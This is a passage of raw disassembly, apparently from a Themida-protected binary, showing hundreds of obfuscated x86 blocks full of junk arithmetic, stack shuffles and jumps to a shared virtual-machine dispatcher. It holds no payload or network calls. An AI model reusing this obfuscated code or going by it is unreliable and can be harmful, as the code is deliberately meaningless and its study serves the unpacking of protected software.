loc_55DE58:				; CODE XREF: Themida_:0056365Aj
		mov	edi, 2
		mov	eax, edi
		jmp	loc_557644
; ---------------------------------------------------------------------------


loc_55DE64:				; CODE XREF: Themida_:00558648j
		neg	ebx
		xor	ebx, 0F9F825FFh
		jmp	loc_55FBEA
; ---------------------------------------------------------------------------


loc_55DE71:				; CODE XREF: Themida_:0055FC4Fj
		xor	[esp], eax
		pushf
		jmp	loc_563C2E
; ---------------------------------------------------------------------------


loc_55DE7A:				; CODE XREF: Themida_:00565905j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55DE7F:				; CODE XREF: Themida_:0055886Ej
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 2Ah
		push	4182h
		mov	[esp], eax
		jmp	loc_55D81D
; ---------------------------------------------------------------------------


loc_55DEA7:				; CODE XREF: Themida_:0055783Ej
		not	ch
		inc	ch
		or	ch, 90h
		xor	ch, 3Ah
		push	eax
		mov	ah, 0A0h
		add	ah, 0D9h
		add	ch, 0BCh
		add	ch, ah
		jmp	loc_550621
; ---------------------------------------------------------------------------


loc_55DEC1:				; CODE XREF: Themida_:00564EAEj
		xor	ecx, [esp]
		pop	esp
		mul	cl
		jmp	loc_565B97
; ---------------------------------------------------------------------------


loc_55DECC:				; CODE XREF: Themida_:0055A68Cj
		push	ecx
		jmp	loc_55ABF7
; ---------------------------------------------------------------------------


loc_55DED2:				; CODE XREF: Themida_:00555357j
		mov	edx, 29EC0154h
		add	edx, 0D613FEB0h
		jmp	loc_558A9E
; ---------------------------------------------------------------------------
		push	6E29h
		jmp	loc_55CFA1
; ---------------------------------------------------------------------------


loc_55DEEC:				; CODE XREF: Themida_:0055557Bj
		add	esp, 4
		push	1DFCh
		jmp	loc_5607C7
; ---------------------------------------------------------------------------


loc_55DEFC:				; CODE XREF: Themida_:0055677Fj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55DF1C:				; CODE XREF: Themida_:00563A49j
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5607B6
; ---------------------------------------------------------------------------


loc_55DF28:				; CODE XREF: Themida_:0056066Ej
		xor	eax, edi
		xor	edi, eax
		jmp	loc_55CD39
; ---------------------------------------------------------------------------


loc_55DF31:				; CODE XREF: Themida_:0055EF04j
		add	eax, 9FA23DFh
		sub	eax, esi
		sub	eax, 9FA23DFh
		push	ebx
		mov	ebx, 60D97EE7h
		shr	ebx, 1
		add	ebx, 240C6BC0h
		and	ebx, 15F11210h
		push	edi
		jmp	loc_5622F4
; ---------------------------------------------------------------------------


loc_55DF57:				; CODE XREF: Themida_:0055E81Cj
		inc	cl
		jmp	loc_55FD0A
; ---------------------------------------------------------------------------


loc_55DF5E:				; CODE XREF: Themida_:005570BBj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_561628
; ---------------------------------------------------------------------------


loc_55DF78:				; CODE XREF: Themida_:0055D198j
		mov	cl, 65h
		jmp	loc_55FB0F
; ---------------------------------------------------------------------------


loc_55DF7F:				; CODE XREF: Themida_:0055C4D5j
		pop	ebx
		push	esi
		mov	esi, 612447D1h
		xor	esi, 612447D5h
		add	ebx, esi
		jmp	loc_55A1ED
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		jmp	loc_5574FF
; ---------------------------------------------------------------------------


loc_55DF9A:				; CODE XREF: Themida_:00556BFBj
		push	34DEh
		mov	[esp], esi
		jmp	loc_5637FA
; ---------------------------------------------------------------------------


loc_55DFA7:				; CODE XREF: Themida_:005533C0j
		mov	esi, 4972AB7h
		or	esi, 3A070D8Bh
		xor	esi, 55AD28C5h
		jmp	loc_55BB86
; ---------------------------------------------------------------------------


loc_55DFBD:				; CODE XREF: Themida_:005607B1j
		shl	esi, 7
		neg	esi
		xor	esi, 92588643h
		sub	eax, esi
		jmp	loc_551E5D
; ---------------------------------------------------------------------------


loc_55DFCF:				; CODE XREF: Themida_:00563C88j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55F4D4
; ---------------------------------------------------------------------------


loc_55DFDD:				; CODE XREF: Themida_:005542D6j
		sub	ebp, 7CD1410Eh
		jmp	loc_5529F7
; ---------------------------------------------------------------------------


loc_55DFE8:				; CODE XREF: Themida_:00564C68j
		add	eax, ebp
		pop	ebp
		add	eax, 2
		jmp	loc_563222
; ---------------------------------------------------------------------------


loc_55DFF3:				; CODE XREF: Themida_:0055765Aj
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_563DE2
; ---------------------------------------------------------------------------


loc_55E00D:				; CODE XREF: Themida_:00556253j
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		jmp	loc_55C460
; ---------------------------------------------------------------------------


loc_55E018:				; CODE XREF: Themida_:00554CEBj
		mov	dh, 0CBh
		mov	al, dh
		pop	edx
		jmp	loc_557E4A
; ---------------------------------------------------------------------------


loc_55E022:				; CODE XREF: Themida_:00564BD1j
		push	152Ah
		mov	[esp], ebx
		jmp	loc_557D0D
; ---------------------------------------------------------------------------


loc_55E02F:				; CODE XREF: Themida_:0055D631j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	2C2Ch
		mov	[esp], edi
		push	esi
		jmp	loc_550D8E
; ---------------------------------------------------------------------------


loc_55E054:				; CODE XREF: Themida_:00556A86j
		and	edx, ecx
		jmp	loc_55B607
; ---------------------------------------------------------------------------


loc_55E05B:				; CODE XREF: Themida_:0055AB9Aj
		sub	eax, 9307C03h
		push	12Ch
		mov	[esp], edi
		mov	edi, 7F57843h
		sub	eax, 7DA81BDBh
		add	eax, 221762AAh
		jmp	loc_55CB09
; ---------------------------------------------------------------------------


loc_55E07C:				; CODE XREF: Themida_:00561125j
		pop	esp
		mov	[esp], edi
		mov	edi, ebp
		mov	edx, edi
		jmp	loc_55CD53
; ---------------------------------------------------------------------------


loc_55E089:				; CODE XREF: Themida_:0055092Fj
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		push	ecx
		mov	ch, 0A3h
		jmp	loc_554D33
; ---------------------------------------------------------------------------


loc_55E099:				; CODE XREF: Themida_:00560701j
		sub	cl, 0A9h
		jmp	loc_565521
; ---------------------------------------------------------------------------


loc_55E0A1:				; CODE XREF: Themida_:00550BA8j
		push	edi
		push	ecx
		jmp	loc_56566F
; ---------------------------------------------------------------------------


loc_55E0A8:				; CODE XREF: Themida_:00556CCFj
		mov	edi, [esp]
		jmp	loc_5631FD
; ---------------------------------------------------------------------------


loc_55E0B0:				; CODE XREF: Themida_:00559D5Cj
		mov	[esp], ax
		mov	ah, 55h
		xor	bl, ah
		pop	ax
		push	ecx
		mov	ch, 0A0h
		sub	ch, 0C5h
		push	edx
		mov	dh, 0E8h
		or	dh, 5Ch
		sub	dh, 20h
		and	ch, dh
		pop	edx
		jmp	loc_560A66
; ---------------------------------------------------------------------------


loc_55E0D1:				; CODE XREF: Themida_:0056405Fj
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55388B
; ---------------------------------------------------------------------------


loc_55E0E8:				; CODE XREF: Themida_:0055D67Dj
		mov	[esp], edi
		mov	edi, 3E6028ECh
		push	esi
		jmp	loc_558968
; ---------------------------------------------------------------------------


loc_55E0F6:				; CODE XREF: Themida_:00551F58j
		pop	edi
		add	eax, ecx
		jmp	loc_56590A
; ---------------------------------------------------------------------------


loc_55E0FE:				; CODE XREF: Themida_:00553026j
		pop	ecx
		jmp	loc_55ABBB
; ---------------------------------------------------------------------------


loc_55E104:				; CODE XREF: Themida_:0055ABB6j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55ACA6
; ---------------------------------------------------------------------------


loc_55E11C:				; CODE XREF: Themida_:0055A0FCj
		push	edx
		jmp	loc_55390A
; ---------------------------------------------------------------------------


loc_55E122:				; CODE XREF: Themida_:005573DEj
		mov	edx, [esp]
		jmp	loc_56522F
; ---------------------------------------------------------------------------


loc_55E12A:				; CODE XREF: Themida_:00563095j
		push	eax
		mov	eax, 61F80844h
		jmp	loc_55AB59
; ---------------------------------------------------------------------------


loc_55E135:				; CODE XREF: Themida_:00561792j
		mov	eax, 3DFF7862h
		jmp	loc_5512EF
; ---------------------------------------------------------------------------


loc_55E13F:				; CODE XREF: Themida_:00550E3Ej
		xor	ah, 84h
		or	ah, 9Ch
		jmp	loc_556F2A
; ---------------------------------------------------------------------------


loc_55E14A:				; CODE XREF: Themida_:005650AAj
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_55A842
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55E15F:				; CODE XREF: Themida_:00554338j
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5649F2
; ---------------------------------------------------------------------------


loc_55E185:				; CODE XREF: Themida_:0055B4EFj
		mov	[esp], edx
		mov	edx, 1B9B5028h
		sub	ebp, edx
		pop	edx
		pop	eax
		jmp	loc_55F0D8
; ---------------------------------------------------------------------------


loc_55E196:				; CODE XREF: Themida_:005523B3j
		mov	ebx, 4C4107FDh
		and	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55BFE1
; ---------------------------------------------------------------------------


loc_55E1A6:				; CODE XREF: Themida_:00551C4Cj
		dec	esi
		add	esi, 83727BFDh
		jmp	loc_55AE32
; ---------------------------------------------------------------------------


loc_55E1B2:				; CODE XREF: Themida_:0055CC28j
		add	eax, 2DA056E9h
		sub	eax, ecx
		sub	eax, 2DA056E9h
		sub	eax, 61D37602h
		jmp	loc_55BF7B
; ---------------------------------------------------------------------------


loc_55E1C8:				; CODE XREF: Themida_:00564C8Aj
		add	eax, edi
		pop	edi
		jmp	loc_564EF9
; ---------------------------------------------------------------------------


loc_55E1D0:				; CODE XREF: Themida_:00553095j
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 0E025DF4h
		push	edx
		push	ebp
		push	6B2568A3h
		pop	ebp
		dec	ebp
		jmp	loc_55805A
; ---------------------------------------------------------------------------


loc_55E1E6:				; CODE XREF: Themida_:0055A82Dj
		add	eax, 4F140E83h
		add	eax, ebx
		sub	eax, 4F140E83h
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	74FEh
		jmp	loc_564313
; ---------------------------------------------------------------------------


loc_55E201:				; CODE XREF: Themida_:00559B1Dj
		sub	esi, 3E992435h
		not	esi
		push	ebp
		jmp	loc_5602D2
; ---------------------------------------------------------------------------


loc_55E20F:				; CODE XREF: Themida_:005557BAj
		mov	[esp], edx
		mov	edx, 5CB21543h
		jmp	loc_558F4B
; ---------------------------------------------------------------------------


loc_55E21C:				; CODE XREF: Themida_:005566CFj
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 47D940DDh
		add	eax, 0EAAE2CEEh
		and	ecx, eax
		pop	eax
		sub	ecx, 31E36D92h
		xor	ecx, 3F7B5C12h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0CFD8A021h
		jmp	loc_5526BF
; ---------------------------------------------------------------------------


loc_55E254:				; CODE XREF: Themida_:0055BA9Cj
		sub	esp, 4
		jmp	loc_55B5BF
; ---------------------------------------------------------------------------


loc_55E25F:				; CODE XREF: Themida_:0055848Ej
		add	esp, 4
		push	ecx
		jmp	loc_55C992
; ---------------------------------------------------------------------------


loc_55E268:				; CODE XREF: Themida_:00564590j
		mov	eax, 6F116060h
		xor	eax, esi
		jmp	loc_564F73
; ---------------------------------------------------------------------------


loc_55E274:				; CODE XREF: Themida_:00551F63j
		add	ebp, eax
		add	ebp, 0F9235C2h
		sub	ebp, 553746FCh
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 1DC2204h
		sub	eax, 7E8C3F93h
		shr	eax, 8
		push	5E5Eh
		jmp	loc_553DD9
; ---------------------------------------------------------------------------


loc_55E2A4:				; CODE XREF: Themida_:00555C8Fj
		sub	eax, 3FF01C47h
		jmp	loc_554C1B
; ---------------------------------------------------------------------------


loc_55E2AE:				; CODE XREF: Themida_:0055BF13j
		add	al, 50h
		push	edx
		jmp	loc_55B181
; ---------------------------------------------------------------------------


loc_55E2B6:				; CODE XREF: Themida_:005519E4j
		pop	edi
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	41AFh
		jmp	loc_553FD2
; ---------------------------------------------------------------------------


loc_55E2CD:				; CODE XREF: Themida_:0055ADDAj
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_563A46
; ---------------------------------------------------------------------------


loc_55E2DE:				; CODE XREF: Themida_:00558BD0j
		push	77C4h
		mov	[esp], edi
		mov	edi, 580059DAh
		jmp	loc_561800
; ---------------------------------------------------------------------------


loc_55E2F0:				; CODE XREF: Themida_:00558542j
		xor	ebp, 3AC449A2h
		sub	ebp, 0E9DF928Bh
		xor	ecx, ebp
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_563442
; ---------------------------------------------------------------------------


loc_55E31A:				; CODE XREF: Themida_:00553478j
		mov	ebp, 61371EE0h
		mov	eax, 0DFA32926h
		sub	eax, ebp
		pop	ebp
		jmp	loc_55150D
; ---------------------------------------------------------------------------


loc_55E32C:				; CODE XREF: Themida_:0055DC20j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5593D1
; ---------------------------------------------------------------------------


loc_55E343:				; CODE XREF: Themida_:00565AABj
		push	48DB062Eh
		jmp	loc_55A2AA
; ---------------------------------------------------------------------------


loc_55E34D:				; CODE XREF: Themida_:00551F06j
		add	edx, 25566D74h
		push	eax
		push	edx
		push	ecx
		mov	ecx, 15DC3DABh
		add	ecx, 5777535Ch
		sub	ecx, 63A65F6Dh
		inc	ecx
		shl	ecx, 6
		add	ecx, 0B22EE960h
		mov	edx, ecx
		pop	ecx
		jmp	loc_558DA0
; ---------------------------------------------------------------------------


loc_55E379:				; CODE XREF: Themida_:005515AFj
		sub	ecx, 1CF449Bh
		add	ecx, 7D5F290Eh
		mov	eax, 4F9A7EAFh
		sub	eax, ecx
		pop	ecx
		add	esi, 799A235Eh
		add	esi, eax
		push	ebx
		jmp	loc_5617E6
; ---------------------------------------------------------------------------


loc_55E39B:				; CODE XREF: Themida_:005511D4j
		sub	[esp+4], ebp
		jmp	loc_56434E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F2A9
; ---------------------------------------------------------------------------


loc_55E3BB:				; CODE XREF: Themida_:0055D7E3j
		sub	esi, edi
		sub	esi, 1D3F226Fh
		push	ecx
		mov	ecx, 43C10EEEh
		neg	ecx
		neg	ecx
		jmp	loc_552B8F
; ---------------------------------------------------------------------------


loc_55E3D2:				; CODE XREF: Themida_:00563E40j
		push	ebp
		push	63D05E8Fh
		pop	ebp
		push	ebx
		push	6221067Ch
		pop	ebx
		shl	ebx, 6
		push	ebp
		mov	ebp, 18D260A8h
		jmp	loc_55F261
; ---------------------------------------------------------------------------


loc_55E3EE:				; CODE XREF: Themida_:0055200Fj
		add	esp, 4
		push	edi
		jmp	loc_56107C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55E406:				; CODE XREF: Themida_:00555B03j
		sub	dword ptr [esp+8], 1A8F07B2h
		add	dword ptr [esp+8], 7D533258h
		jmp	loc_550E52
; ---------------------------------------------------------------------------


loc_55E41B:				; CODE XREF: Themida_:00557A81j
		pop	esi
		shr	edi, 4
		not	edi
		or	edi, 3C62140Ah
		sub	edi, 7B8C6343h
		shr	edi, 8
		sub	edi, 0ABCA46C6h
		sub	ebx, edi
		jmp	loc_55E627
; ---------------------------------------------------------------------------


loc_55E43D:				; CODE XREF: Themida_:0055A1C5j
		add	edi, 408E994Ah
		add	ecx, edi
		pop	edi
		add	eax, ecx
		jmp	loc_558CF6
; ---------------------------------------------------------------------------


loc_55E44D:				; CODE XREF: Themida_:0055D54Aj
		push	edx
		jmp	loc_562630
; ---------------------------------------------------------------------------


loc_55E453:				; CODE XREF: Themida_:00562F95j
		push	eax
		mov	eax, 2413459h
		push	edi
		mov	edi, 14F4F3F2h
		mov	ebx, edi
		pop	edi
		add	ebx, eax
		jmp	loc_55F47B
; ---------------------------------------------------------------------------


loc_55E469:				; CODE XREF: Themida_:00558825j
		neg	edx
		xor	edx, 0EEEEBE8Eh
		push	esi
		mov	esi, 22EB6186h
		add	ebx, esi
		pop	esi
		add	ebx, edx
		sub	ebx, 22EB6186h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55DABA
; ---------------------------------------------------------------------------


loc_55E48D:				; CODE XREF: Themida_:0055FBC7j
		xchg	edi, [esp]
		pop	esp
		push	ecx
		jmp	loc_550D06
; ---------------------------------------------------------------------------


loc_55E497:				; CODE XREF: Themida_:0056236Cj
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	bl, 6Dh
		jmp	loc_55B8F5
; ---------------------------------------------------------------------------


loc_55E4B3:				; CODE XREF: Themida_:00562343j
		mov	ah, 0C0h
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, ah
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		inc	ch
		mov	ah, ch
		jmp	loc_555A08
; ---------------------------------------------------------------------------


loc_55E4D5:				; CODE XREF: Themida_:0055AFB1j
		not	edx
		shl	edx, 4
		jmp	loc_55BD5A
; ---------------------------------------------------------------------------


loc_55E4DF:				; CODE XREF: Themida_:005604D6j
		push	6FAEh
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	ecx
		mov	ecx, 401859E5h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55BEB6
; ---------------------------------------------------------------------------


loc_55E4FE:				; CODE XREF: Themida_:0055F97Dj
		add	esi, edi
		jmp	loc_55FD6F
; ---------------------------------------------------------------------------


loc_55E505:				; CODE XREF: Themida_:00558203j
		xchg	cl, bl
		not	cl
		xor	bl, cl
		xor	cl, bl
		xor	bl, cl
		push	eax
		mov	ah, 0DEh
		push	small 321Fh
		jmp	loc_5530A6
; ---------------------------------------------------------------------------


loc_55E51B:				; CODE XREF: Themida_:005556F4j
		add	esi, ebx
		sub	esi, 722065B7h
		pop	ebx
		sub	esi, 4
		jmp	loc_5531C9
; ---------------------------------------------------------------------------


loc_55E52C:				; CODE XREF: Themida_:00564E0Cj
		mov	ecx, 78812FC3h
		and	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_55F5DA
; ---------------------------------------------------------------------------


loc_55E53B:				; CODE XREF: Themida_:0055B2CDj
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55069F
; ---------------------------------------------------------------------------


loc_55E545:				; CODE XREF: Themida_:0055B072j
		or	ebp, 418E1739h
		add	ebp, 0EFCC5D05h
		xor	edx, ebp
		push	dword ptr [esp]
		jmp	loc_555D58
; ---------------------------------------------------------------------------


loc_55E55B:				; CODE XREF: Themida_:005551A0j
		pop	edi
		push	ebx
		mov	ebx, 4CCE2FF3h
		shl	ebx, 1
		jmp	loc_551D1A
; ---------------------------------------------------------------------------


loc_55E569:				; CODE XREF: Themida_:005577AAj
		mov	[esp], edi
		push	esp
		pop	edi
		push	51E3h
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 7A4C05A6h
		shr	ebx, 5
		or	ebx, 35907173h
		and	ebx, 5A85350Dh
		jmp	loc_55E65C
; ---------------------------------------------------------------------------


loc_55E598:				; CODE XREF: Themida_:005544B6j
		xor	eax, edi
		pop	edi
		push	eax
		mov	eax, 2CA3659Dh
		jmp	loc_56052F
; ---------------------------------------------------------------------------


loc_55E5A6:				; CODE XREF: Themida_:00563D44j
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_551887
; ---------------------------------------------------------------------------


loc_55E5B7:				; CODE XREF: Themida_:00565C8Fj
		mov	eax, 271725FBh
		jmp	loc_561091
; ---------------------------------------------------------------------------


loc_55E5C1:				; CODE XREF: Themida_:0055ADCCj
		add	eax, 72256409h
		pop	esi
		push	59B1h
		mov	[esp], eax
		jmp	loc_55DCC5
; ---------------------------------------------------------------------------


loc_55E5D4:				; CODE XREF: Themida_:00551725j
		mov	al, cl
		mov	dl, al
		mov	eax, [esp]
		jmp	loc_55AAB3
; ---------------------------------------------------------------------------


loc_55E5E0:				; CODE XREF: Themida_:005534B1j
		sub	edi, ebp
		pop	ebp
		add	edi, ebx
		add	edi, 2FBB3B09h
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_556CF4
; ---------------------------------------------------------------------------


loc_55E5FE:				; CODE XREF: Themida_:00555721j
		add	esp, 4
		jmp	loc_5657A8
; ---------------------------------------------------------------------------


loc_55E606:				; CODE XREF: Themida_:0056215Dj
		pop	edi
		mov	ecx, esi
		pop	esi
		push	ecx
		sub	dword ptr [esp], 7DC44ADAh
		pop	esi
		add	esi, 7DC44ADAh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_556DF4
; ---------------------------------------------------------------------------


loc_55E627:				; CODE XREF: Themida_:0055E438j
		pop	edi
		push	dword ptr [esp]
		pop	edx
		jmp	loc_558FEB
; ---------------------------------------------------------------------------


loc_55E631:				; CODE XREF: Themida_:00562D56j
		push	esi
		mov	esi, 24E559F4h
		xor	edx, esi
		jmp	loc_557883
; ---------------------------------------------------------------------------


loc_55E63E:				; CODE XREF: Themida_:0055FC7Dj
		xor	ebp, 653F1A83h
		jmp	loc_565002
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	ebx
		jmp	loc_559023
; ---------------------------------------------------------------------------


loc_55E654:				; CODE XREF: Themida_:005644E8j
		xor	ah, dl
		pop	edx
		jmp	loc_5611EC
; ---------------------------------------------------------------------------


loc_55E65C:				; CODE XREF: Themida_:0055E593j
		xor	ebx, 12803109h
		add	edi, 59281C69h
		sub	edi, ebx
		push	edx
		mov	edx, 70F83345h
		and	edx, 1CB555FFh
		xor	edx, 3D3B3D0Eh
		jmp	loc_5575CC
; ---------------------------------------------------------------------------


loc_55E681:				; CODE XREF: Themida_:00558A99j
		push	esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		jmp	loc_557BDB
; ---------------------------------------------------------------------------


loc_55E68D:				; CODE XREF: Themida_:00562156j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 16545F5Bh
		mov	edx, 0E9ABA0A4h
		add	edx, edi
		pop	edi
		add	ebp, 3AFD160Dh
		jmp	loc_562095
; ---------------------------------------------------------------------------


loc_55E6AD:				; CODE XREF: Themida_:00554EAFj
		mov	edx, 64054AE5h
		push	64054AE1h
		pop	eax
		xor	eax, edx
		jmp	loc_554A9A
; ---------------------------------------------------------------------------


loc_55E6BF:				; CODE XREF: Themida_:00557FCDj
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5599A4
; ---------------------------------------------------------------------------


loc_55E6CB:				; CODE XREF: Themida_:0055CF00j
		sub	ecx, 40C03967h
		sub	ecx, 2E9E7ED8h
		or	edi, ecx
		pop	ecx
		jmp	loc_5630F8
; ---------------------------------------------------------------------------


loc_55E6DF:				; CODE XREF: Themida_:0055BBE7j
		mov	ecx, 0D046478h
		mov	ebp, 0D7D744FDh
		xor	ebp, ecx
		jmp	loc_55BAC5
; ---------------------------------------------------------------------------


loc_55E6F0:				; CODE XREF: Themida_:0055526Aj
		pop	bx
		neg	al
		dec	al
		xor	al, 0C1h
		mov	bh, al
		mov	eax, [esp]
		add	esp, 4
		sub	bh, 9Ah
		and	bh, 9Eh
		push	ecx
		mov	ch, 19h
		neg	ch
		shr	ch, 2
		dec	ch
		not	ch
		inc	ch
		and	ch, 2Ah
		jmp	loc_55A560
; ---------------------------------------------------------------------------


loc_55E71F:				; CODE XREF: Themida_:00552195j
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_559953
; ---------------------------------------------------------------------------


loc_55E72B:				; CODE XREF: Themida_:00557430j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5562CB
; ---------------------------------------------------------------------------


loc_55E739:				; CODE XREF: Themida_:00560A8Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		push	61AA0447h
		pop	ebx
		add	ebx, 3AD76012h
		jmp	loc_55D682
; ---------------------------------------------------------------------------


loc_55E759:				; CODE XREF: Themida_:00557194j
		pop	ecx
		push	edx
		mov	dh, 5Eh
		or	dh, 0F0h
		jmp	loc_56318B
; ---------------------------------------------------------------------------


loc_55E765:				; CODE XREF: Themida_:0055CB8Ej
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55E772:				; CODE XREF: Themida_:0055A528j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55E77D:				; CODE XREF: Themida_:0055307Ej
		push	ebp
		push	esi
		mov	esi, 45451917h
		jmp	loc_55C077
; ---------------------------------------------------------------------------


loc_55E789:				; CODE XREF: Themida_:0055A040j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559FF5
; ---------------------------------------------------------------------------


loc_55E792:				; CODE XREF: Themida_:00552B5Fj
		add	ecx, esi
		add	ecx, 46D856C2h
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 6D437309h
		add	eax, ecx
		pop	ecx
		jmp	loc_56533E
; ---------------------------------------------------------------------------


loc_55E7AD:				; CODE XREF: Themida_:00554BADj
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_559087
; ---------------------------------------------------------------------------


loc_55E7B8:				; CODE XREF: Themida_:0055D1EFj
		mov	ah, dh
		pop	edx
		xor	ah, dl
		pop	edx
		mov	dh, ah
		jmp	loc_55F48A
; ---------------------------------------------------------------------------


loc_55E7C5:				; CODE XREF: Themida_:0056502Dj
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 74946A36h
		push	edx
		push	ebp
		mov	ebp, 7BD756ADh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, edx
		jmp	loc_55D7C3
; ---------------------------------------------------------------------------


loc_55E7E6:				; CODE XREF: Themida_:00563C3Cj
		pop	edx
		jmp	loc_55640F
; ---------------------------------------------------------------------------


loc_55E7EC:				; CODE XREF: Themida_:00563A7Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 66E92E87h
		mov	esi, ebx
		jmp	loc_5572EB
; ---------------------------------------------------------------------------


loc_55E80C:				; CODE XREF: Themida_:00560A7Ej
		and	bl, 0AFh
		push	edx
		mov	dl, 11h
		or	dl, 49h
		dec	dl
		neg	dl
		push	ecx
		mov	cl, 9Fh
		jmp	loc_55DF57
; ---------------------------------------------------------------------------


loc_55E821:				; CODE XREF: Themida_:00558CC1j
		pop	esp
		or	[edi+1Ch], ecx
		pop	ecx
		jmp	loc_55DDB6
; ---------------------------------------------------------------------------


loc_55E82B:				; CODE XREF: Themida_:0055A117j
		push	ebx
		jmp	loc_564C2D
; ---------------------------------------------------------------------------


loc_55E831:				; CODE XREF: Themida_:0055D2D8j
		push	75DDh
		mov	[esp], eax
		push	7E9Fh
		jmp	loc_5613C5
; ---------------------------------------------------------------------------


loc_55E843:				; CODE XREF: Themida_:00561983j
		push	ebx
		jmp	loc_561374
; ---------------------------------------------------------------------------


loc_55E849:				; CODE XREF: Themida_:0056531Ej
		sub	ecx, esi
		pop	esi
		shl	ecx, 8
		inc	ecx
		shl	ecx, 3
		jmp	loc_555C9A
; ---------------------------------------------------------------------------


loc_55E858:				; CODE XREF: Themida_:0055DADAj
		pop	ecx
		push	ebp
		jmp	loc_554906
; ---------------------------------------------------------------------------


loc_55E85F:				; CODE XREF: Themida_:0055ADACj
		mov	[esp], ecx
		push	eax
		mov	eax, 3FCh
		push	esi
		push	eax
		jmp	loc_562234
; ---------------------------------------------------------------------------


loc_55E86F:				; CODE XREF: Themida_:0055EAEDj
		pop	esp
